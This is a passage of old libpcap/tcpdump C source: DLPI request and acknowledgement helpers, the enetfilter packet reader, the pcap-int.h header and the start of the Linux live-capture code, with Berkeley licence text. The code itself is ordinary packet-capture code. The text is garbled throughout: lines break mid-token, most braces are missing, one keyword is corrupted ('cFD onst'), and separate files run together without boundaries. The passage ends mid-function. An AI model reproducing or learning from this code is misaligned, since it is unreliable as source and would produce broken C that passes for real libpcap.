p->bufsize = MAXDLBUF * sizeof(bpf_u_int32);
p->buffer = (u_char
*)malloc(p->bufsize + p->offset);
return
(p);
bad:
free(p);
return (NULL);
pcap_setfilter(pcap_t
*p, struct bpf_program *fp)
p->fcode
= *fp;
return (0);
static
int
send_request(int fd, char *ptr, int len, char *what, char *ebuf)
struct strbuf ctl;
int flags;
ctl.maxlen = 0;
ctl.len
= len;
ctl.buf = ptr;
flags = 0;
if (putmsg(fd, &ctl, (struct strbuf *) NULL, flags) < 0)
{
sprintf(ebuf, "send_request: putmsg \"%s\":
%s",
what, pcap_strerror(errno));
return
(-1);
return (0);
static
int
recv_ack(int fd, int size, cFD
onst char *what, char *bufp, char
*ebuf)
union DL_primitives *dlp;
struct strbuf ctl;
int flags;
ctl.maxlen = MAXDLBUF;
ctl.len = 0;
ctl.buf = bufp;
flags
= 0;
if (getmsg(fd, &ctl,
(struct strbuf*)NULL, &flags) < 0) {
sprintf(ebuf,
"recv_ack: %s getmsg: %s",
what, pcap_strerror(errno));
return
(-1);
dlp = (union
DL_primitives *) ctl.buf;
switch
(dlp->dl_primitive) {
case
DL_INFO_ACK:
case
DL_BIND_ACK:
case
DL_OK_ACK:
#ifdef DL_HP_PPA_ACK
case
DL_HP_PPA_ACK:
#endif
/* These are OK */
break;
case DL_ERROR_ACK:
switch
(dlp->error_ack.dl_errno) {
case DL_BADPPA:
sprintf(ebuf,
"recv_ack: %s bad ppa (device unit)",
what);
break;
case
DL_SYSERR:
sprintf(ebuf, "recv_ack: %s:
%s",
what, pcap_strerror(dlp->error_ack.dl_unix_errno));
break;
case
DL_UNSUPPORTED:
sprintf(ebuf,
"recv_ack: %s: Service not supplied
by provider",
what);
break;
default:
sprintf(ebuf,
"recv_ack: %s error 0x%x",
what, (bpf_u_int32)dlp->error_ack.dl_errno);
break;
return
(-1);
default:
sprintf(ebuf,
"recv_ack: %s unexpected primitive ack 0x%x ",
what, (bpf_u_int32)dlp->dl_primitive);
return (-1);
if (ctl.len < size) {
sprintf(ebuf,
"recv_ack: %s ack too small (%d < %d)",
what, ctl.len, size);
return (-1);
return (ctl.len);
static int
dlattachreq(int fd,
bpf_u_int32 ppa, char *ebuf)
dl_attach_req_t req;
req.dl_primitive
= DL_ATTACH_REQ;
req.dl_ppa =
ppa;
return (send_request(fd,
(char *)&req, sizeof(req), "attach", ebuf));
static
int
dlbindreq(int fd, bpf_u_int32 sap, char *ebuf)
dl_bind_req_t req;
memset((char
*)&req, 0, sizeof(req));
req.dl_primitive
= DL_BIND_REQ;
#ifdef DL_HP_RAWDLS
req.dl_max_conind
= 1; /* XXX magic number */
/*
22 is INSAP as per the HP-UX DLPI Programmer's Guide */
req.dl_sap = 22;
req.dl_service_mode = DL_HP_RAWDLS;
#else
req.dl_sap = sap;
#ifdef
DL_CLDLS
req.dl_service_mode =
DL_CLDLS;
#endif
#endif
return
(send_request(fd, (char *)&req, sizeof(req), "bind",
ebuf));
static int
dlbindack(int fd, char *bufp, char *ebuf)
return (recv_ack(fd, DL_BIND_ACK_SIZE,
"bind", bufp, ebuf));
static int
dlpromisconreq(int fd,
bpf_u_int32 level, char *ebuf)
dl_promiscon_req_t
req;
req.dl_primitive =
DL_PROMISCON_REQ;
req.dl_level
= level;
return
(send_request(fd, (char *)&req, sizeof(req), "promiscon",
ebuf));
static int
dlokack(int fd, const char *what, char *bufp, char
*ebuf)
return (recv_ack(fd,
DL_OK_ACK_SIZE, what, bufp, ebuf));
static int
dlinforeq(int fd, char
*ebuf)
dl_info_req_t req;
req.dl_primitive = DL_INFO_REQ;
return (send_request(fd, (char *)&req,
sizeof(req), "info", ebuf));
static int
dlinfoack(int fd,
char *bufp, char *ebuf)
return
(recv_ack(fd, DL_INFO_ACK_SIZE, "info", bufp, ebuf));
#ifdef
HAVE_SYS_BUFMOD_H
static int
strioctl(int fd, int cmd, int len, char
*dp)
struct strioctl str;
int rc;
str.ic_cmd = cmd;
str.ic_timout
= -1;
str.ic_len = len;
str.ic_dp = dp;
rc = ioctl(fd, I_STR, &str);
if (rc < 0)
return
(rc);
else
return
(str.ic_len);
#endif
#if defined(HAVE_SOLARIS) &&
defined(HAVE_SYS_BUFMOD_H)
static char *
get_release(bpf_u_int32
*majorp, bpf_u_int32 *minorp, bpf_u_int32 *microp)
char *cp;
static
char buf[32];
*majorp =
0;
*minorp = 0;
*microp = 0;
if (sysinfo(SI_RELEASE, buf, sizeof(buf)) < 0)
return
("?");
cp =
buf;
if (!isdigit(*cp))
return
(buf);
*majorp = strtol(cp,
&cp, 10);
if (*cp++ !=
'.')
return (buf);
*minorp
= strtol(cp, &cp, 10);
if (*cp++ != '.')
return
(buf);
*microp = strtol(cp, &cp, 10);
return (buf);
#endif
#ifdef
DL_HP_PPA_ACK_OBS
* Under HP-UX
10, we can ask for the ppa
/* Determine ppa number that specifies ifname
*/
static int
get_dlpi_ppa(register int fd, register const char
*device, register int unit,
register char *ebuf)
register
dl_hp_ppa_ack_t *ap;
register
dl_hp_ppa_info_t *ip;
register
int i;
register u_long
majdev;
dl_hp_ppa_req_t req;
struct
stat statbuf;
bpf_u_int32
buf[MAXDLBUF];
if (stat(device,
&statbuf) < 0) {
sprintf(ebuf, "stat: %s: %s",
device, pcap_strerror(errno));
return (-1);
majdev = major(statbuf.st_rdev);
memset((char *)&req, 0, sizeof(req));
req.dl_primitive = DL_HP_PPA_REQ;
memset((char *)buf, 0, sizeof(buf));
if (send_request(fd, (char *)&req,
sizeof(req), "hpppa", ebuf) < 0 ||
recv_ack(fd,
DL_HP_PPA_ACK_SIZE, "hpppa", (char *)buf, ebuf) < 0)
return
(-1);
ap = (dl_hp_ppa_ack_t
*)buf;
ip = (dl_hp_ppa_info_t
*)((u_char *)ap + ap->dl_offset);
for(i = 0; i < ap->dl_count; i++) {
if (ip->dl_mjr_num ==
majdev && ip->dl_instance_num == unit)
break;
ip = (dl_hp_ppa_info_t
*)((u_char *)ip + ip->dl_next_offset);
}
if (i == ap->dl_count) {
sprintf(ebuf, "can't find
PPA for %s", device);
return (-1);
}
if (ip->dl_hdw_state == HDW_DEAD) {
sprintf(ebuf, "%s:
hardware state: DOWN\n", device);
return (-1);
}
return
((int)ip->dl_ppa);
#endif
#ifdef HAVE_HPUX9
* Under HP-UX 9, there is no good way to
determine the ppa.
* So punt and
read it from /dev/kmem.
static struct nlist nl[] = {
#define NL_IFNET
0
{ "ifnet" },
{ "" }
static char
path_vmunix[] = "/hp-ux";
/* Determine ppa number that specifies
ifname */
static int
get_dlpi_ppa(register int fd, register const
char *ifname, register int unit,
register char *ebuf)
register
const char *cp;
register int
kd;
void *addr;
struct ifnet ifnet;
char if_name[sizeof(ifnet.if_name)],
tifname[32];
cp =
strrchr(ifname, '/');
if (cp !=
NULL)
ifname = cp + 1;
if
(nlist(path_vmunix, &nl) < 0) {
sprintf(ebuf, "nlist %s failed",
path_vmunix);
return (-1);
if (nl[NL_IFNET].n_value == 0) {
sprintf(ebuf,
"could't find %s kernel symbol",
nl[NL_IFNET].n_name);
return (-1);
kd = open("/dev/kmem", O_RDONLY);
if (kd < 0) {
sprintf(ebuf,
"kmem open: %s", pcap_strerror(errno));
return (-1);
if (dlpi_kread(kd,
nl[NL_IFNET].n_value,
&addr, sizeof(addr), ebuf) < 0)
{
close(kd);
return (-1);
for (; addr != NULL; addr = ifnet.if_next) {
if
(dlpi_kread(kd, (off_t)addr,
&ifnet, sizeof(ifnet), ebuf) < 0
||
dlpi_kread(kd, (off_t)ifnet.if_name,
if_name, sizeof(if_name), ebuf) < 0) {
(void)close(kd);
return
(-1);
sprintf(tifname, "%.*s%d",
(int)sizeof(if_name), if_name, ifnet.if_unit);
if
(strcmp(tifname, ifname) == 0)
return (ifnet.if_index);
sprintf(ebuf, "Can't find %s",
ifname);
return (-1);
static
int
dlpi_kread(register int fd, register off_t addr,
register void *buf, register u_int len,
register char *ebuf)
register
int cc;
if (lseek(fd, addr,
SEEK_SET) < 0) {
sprintf(ebuf, "lseek: %s",
pcap_strerror(errno));
return (-1);
cc = read(fd, buf, len);
if
(cc < 0) {
sprintf(ebuf, "read: %s",
pcap_strerror(errno));
return (-1);
} else if (cc != len) {
sprintf(ebuf, "short read (%d !=
%d)", cc, len);
return (-1);
return (cc);
#endif
* Stanford Enetfilter subroutines for tcpdump
* Based on the MERIT NNstat etherifrt.c and
the Ultrix pcap-pf.c
*
subroutines.
* Rayan Zachariassen,
CA*Net
#include <sys/types.h>
#include <sys/time.h>
#include
<sys/file.h>
#include <sys/ioctl.h>
#include
<sys/socket.h>
#include <net/if.h>
#include
<net/bpf.h>
#include <net/enet.h>
#include
<netinet/in.h>
#include <netinet/if_ether.h>
#include
<stdio.h>
#include <errno.h>
#include
"interface.h"
struct packet_header {
#ifdef IBMRTPC
struct LengthWords length;
struct tap_header tap;
#endif /*
IBMRTPC */
u_char packet[8]
extern
int errno;
#define BUFSPACE (4*1024)
/* Forwards */
static void
efReadError(int, char *);
void
readloop(int cnt, int if_fd, struct
bpf_program *fp, printfunc printit)
#ifdef IBMRTPC
register struct packet_header *ph;
register u_char *bp;
register int inc;
#else /* !IBMRTPC */
static struct timeval tv = { 0 };
#endif /* IBMRTPC */
register int cc, caplen;
register
struct bpf_insn *fcode = fp->bf_insns;
union
{
struct packet_header hdr;
u_char p[BUFSPACE];
u_short s;
}
buf;
while (1) {
if
((cc = read(if_fd, (char *)buf.p, sizeof(buf))) < 0)
efReadError(if_fd,
"reader");
#ifdef IBMRTPC
/*
* Loop through each packet.
*/
bp = buf.p;
while (cc > 0)
{
ph = (struct packet_header *)bp;
caplen =
ph->tap.th_wirelen > snaplen ? snaplen : ph->tap
.th_wirelen
;
if (bpf_filter(fcode, (char *)ph->packet,
ph->tap.th_wirelen,
caplen)) {
if
(cnt >= 0 && --cnt < 0)
goto
out;
(*printit)((char
*)ph->packet,
(struct
timeval *)ph->tap.th_timestamp,
ph->tap.th_wirelen,
caplen);
}
inc = ph->length.PacketOffset;
cc
-= inc;
bp += inc;
#else /* !IBMRTPC */
caplen = cc >
snaplen ? snaplen : cc ;
if (bpf_filter(fcode, buf.hdr.packet, cc,
caplen)) {
if (cnt >= 0 && --cnt <
0)
goto
out;
(*printit)(buf.hdr.packet, &tv, cc,
caplen);
#endif /* IBMRTPC
*/
out:
wrapup(if_fd);
/* Call ONLY if read()
has returned an error on packet filter */
static void
efReadError(int
fid, char *msg)
if (errno ==
EINVAL) { /* read MAXINT bytes already!
*/
if (lseek(fid, 0, 0) < 0) {
perror("tcpdump:
efReadError/lseek");
exit(-1);
else
return;
else {
(void)
fprintf(stderr, "tcpdump: ");
perror(msg);
exit(-1);
void
wrapup(int
fd)
#ifdef IBMRTPC
struct enstats es;
if (ioctl(fd, EIOSTATS, &es) == -1)
{
perror("tcpdump: enet ioctl EIOSTATS error");
exit(-1);
fprintf(stderr, "%d packets
queued", es.enStat_Rcnt);
if
(es.enStat_Rdrops > 0)
fprintf(stderr, ", %d dropped",
es.enStat_Rdrops);
if
(es.enStat_Reads > 0)
fprintf(stderr, ", %d tcpdump
%s", es.enStat_Reads,
es.enStat_Reads
> 1 ? "reads" : "read");
if (es.enStat_MaxRead > 1)
fprintf(stderr,
", %d packets in largest read",
es.enStat_MaxRead);
putc('\n', stderr);
#endif /* IBMRTPC */
close(fd);
initdevice(char *device, int pflag, int
*linktype)
struct eniocb
ctl;
struct enfilter
filter;
u_int maxwaiting;
int if_fd;
#ifdef IBMRTPC
GETENETDEVICE(0, O_RDONLY, &if_fd);
#else /* !IBMRTPC */
if_fd = open("/dev/enet", O_RDONLY, 0);
#endif /* IBMRTPC */
if (if_fd == -1) {
perror("tcpdump: enet open
error");
error(
"your system may not be
properly configured; see \"man enet(4)\"");
exit(-1);
/*
Get operating parameters. */
if
(ioctl(if_fd, EIOCGETP, (char *)&ctl) == -1) {
perror("tcpdump:
enet ioctl EIOCGETP error");
exit(-1);
/* Set operating
parameters. */
#ifdef IBMRTPC
ctl.en_rtout = 1 * ctl.en_hz;
ctl.en_tr_etherhead = 1;
ctl.en_tap_network = 1;
ctl.en_multi_packet = 1;
ctl.en_maxlen = BUFSPACE;
#else /* !IBMRTPC */
ctl.en_rtout = 64; /*
randomly picked value for HZ */
#endif /*
IBMRTPC */
if (ioctl(if_fd,
EIOCSETP, &ctl) == -1) {
perror("tcpdump: enet ioctl EIOCSETP
error");
exit(-1);
/* Flush the receive
queue, since we've changed
the operating parameters and we otherwise
might
receive data without headers. */
if (ioctl(if_fd, EIOCFLUSH) == -1) {
perror("tcpdump:
enet ioctl EIOCFLUSH error");
exit(-1);
/* Set the receive
queue depth to its maximum. */
maxwaiting
= ctl.en_maxwaiting;
if
(ioctl(if_fd, EIOCSETW, &maxwaiting) == -1) {
perror("tcpdump:
enet ioctl EIOCSETW error");
exit(-1);
#ifdef IBMRTPC
/* Clear statistics.
*/
if (ioctl(if_fd, EIOCLRSTAT,
0) == -1) {
perror("tcpdump: enet ioctl
EIOCLRSTAT error");
exit(-1);
#endif /* IBMRTPC */
/* Set the filter
(accept all packets). */
filter.enf_Priority
= 3;
filter.enf_FilterLen =
0;
if (ioctl(if_fd, EIOCSETF,
&filter) == -1) {
perror("tcpdump: enet ioctl EIOCSETF
error");
exit(-1);
*
"enetfilter" supports only ethernets.
*/
*linktype = DLT_EN10MB;
return(if_fd);
* Copyright (c) 1994, 1995, 1996
* The
Regents of the University of California.
All rights reserved.
*
Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that
the following conditions
* are
met:
* 1. Redistributions of
source code must retain the above copyright
* notice, this list of
conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above
copyright
* notice, this list of conditions and the
following disclaimer in the
* documentation and/or other materials
provided with the distribution.
*
3. All advertising materials mentioning features or use of this software
*
must display the following acknowledgement:
* This
product includes software developed by the Computer Systems
* Engineering
Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may
be used
* to endorse or promote products derived
from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE REGENTS
AND CONTRIBUTORS ``AS IS'' AND
*
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE
*
ARE DISCLAIMED. IN NO EVENT SHALL THE
REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL
* DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
OR BUSINESS INTERRUPTION)
*
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT
* LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF
*
SUCH DAMAGE.
* @(#) $Header:
pcap-int.h,v 1.18 96/11/27 18:43:09 leres Exp $ (LBL)
#ifndef
pcap_int_h
#define pcap_int_h
#include <pcap.h>
* Savefile
struct pcap_sf {
FILE *rfile;
int swapped;
int
version_major;
int
version_minor;
u_char
*base;
struct pcap_md {
struct
pcap_stat stat;
/*XXX*/
int use_bpf;
u_long TotPkts; /* can't oflow for 79 hrs on ether */
u_long TotAccepted; /* count accepted by filter */
u_long TotDrops; /* count of dropped packets */
long TotMissed; /* missed by i/f during this run */
long OrigMissed; /* missed by i/f before this run */
#ifdef
linux
int pad;
int skip;
char *device;
#endif
struct pcap {
int fd;
int snapshot;
int
linktype;
int tzoff; /*
timezone offset */
int offset; /*
offset for proper alignment */
struct
pcap_sf sf;
struct pcap_md
md;
* Read buffer.
*/
int
bufsize;
u_char *buffer;
u_char *bp;
int cc;
* Place holder for pcap_next().
*/
u_char
*pkt;
* Placeholder for filter code if bpf not in
kernel.
*/
struct
bpf_program fcode;
char
errbuf[PCAP_ERRBUF_SIZE];
int yylex(void);
#ifndef
min
#define min(a, b) ((a) > (b) ? (b) : (a))
#endif
/* XXX
should these be in pcap.h? */
int pcap_offline_read(pcap_t
*, int, pcap_handler, u_char *);
int pcap_read(pcap_t
*, int cnt, pcap_handler, u_char *);
/* Ultrix pads to make everything
line up on a nice boundary */
#if defined(ultrix) ||
defined(__alpha)
#define
PCAP_FDDIPAD 3
#endif
/* XXX */
extern int pcap_fddipad;
#endif
* Copyright (c) 1996, 1997
* The
Regents of the University of California.
All rights reserved.
*
Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that:
(1) source code distributions
*
retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include
the above copyright notice and
*
this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: pcap-linux.c,v 1.15
97/10/02 22:39:37 leres Exp $ (LBL)";
#endif
#include
<sys/param.h>
#include <sys/ioctl.h>
#include
<sys/socket.h>
#include <sys/time.h>
#include
<net/if.h>
#ifdef HAVE_NET_IF_ARP_H
#include
<net/if_arp.h>
#else
#include <linux/if_arp.h>
#endif
#include
<linux/if_ether.h>
#include <netinet/in.h>
#include
<errno.h>
#include <malloc.h>
#include
<stdio.h>
#include <stdlib.h>
#include
<string.h>
#include <unistd.h>
static struct ifreq
saved_ifr;
#include "pcap-int.h"
#include
"gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include
"os-proto.h"
#endif
void linux_restore_ifr(void);
pcap_stats(pcap_t
*p, struct pcap_stat *ps)
*ps =
p->md.stat;
return
(0);
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char
*user)
register int cc;
register int bufsize;
register int caplen;
register u_char *bp;
struct sockaddr from;
int fromlen;
bp = p->buffer + p->offset;
bufsize = p->bufsize;
if
(p->md.pad > 0) {
memset(bp, 0, p->md.pad);
bp
+= p->md.pad;
bufsize -= p->md.pad;
again:
do {
fromlen = sizeof(from);
cc
= recvfrom(p->fd, bp, bufsize, 0, &from, &fromlen);
if
(cc < 0) {
/* Don't choke when we get ptraced
*/
switch (errno) {
case
EINTR:
goto
again;
case EWOULDBLOCK:
return (0); /* XXX */
}
sprintf(p->errbuf,
"read: %s", pcap_strerror(errno));
return
(-1);
} while
(strcmp(p->md.device, from.sa_data));
/*
If we need have leading zero bytes, adjust count */
cc += p->md.pad;
bp = p->buffer + p->offset;
/* If we need to step over leading junk,
adjust count and pointer */
cc
-= p->md.skip;
bp +=
p->md.skip;
/* Captured
length can't exceed our read buffer size */
caplen = cc;
if
(caplen > bufsize)
caplen = bufsize;
/* Captured length can't exceed the
snapshot length */
if (caplen
> p->snapshot)
caplen = p->snapshot;
if (p->fcode.bf_insns == NULL ||
bpf_filter(p->fcode.bf_insns, bp, cc, caplen)) {
struct
pcap_pkthdr h;
++p->md.stat.ps_recv;
/*
Get timestamp */
if (ioctl(p->fd, SIOCGSTAMP, &h.ts)
< 0) {
sprintf(p->errbuf, "SIOCGSTAMP:
%s",
pcap_strerror(errno));
return (-1);
h.len = cc;
h.caplen
= caplen;
(*callback)(user, &h, bp);
return
(1);
return (0);
pcap_t
*
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char
*ebuf)
register int fd,
broadcast;
register pcap_t
*p;
struct ifreq ifr;
struct sockaddr sa;
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
sprintf(ebuf,
"malloc: %s", pcap_strerror(errno));
return (NULL);
memset(p, 0, sizeof(*p));
fd = -1;
fd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL));
if (fd < 0) {
sprintf(ebuf,
"socket: %s", pcap_strerror(errno));
goto bad;
p->fd = fd;
/* Bind to the interface name */
memset(&sa, 0, sizeof(sa));
sa.sa_family = AF_INET;
(void)strncpy(sa.sa_data, device,
sizeof(sa.sa_data));
if
(bind(p->fd, &sa, sizeof(sa))) {
sprintf(ebuf, "bind: %s: %s",
device, pcap_strerror(errno));
goto bad;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
if (ioctl(p->fd, SIOCGIFHWADDR,
&ifr) < 0 ) {
sprintf(ebuf, "SIOCGIFHWADDR:
%s", pcap_strerror(errno));
goto bad;
broadcast = 0;
switch
(ifr.ifr_hwaddr.sa_family) {
case
ARPHRD_ETHER:
case
ARPHRD_METRICOM:
p->linktype = DLT_EN10MB;
p->offset
= 2;
++broadcast;
break;
case ARPHRD_EETHER:
p->linktype = DLT_EN3MB;
++broadcast;
break;
case ARPHRD_AX25:
p->linktype
= DLT_AX25;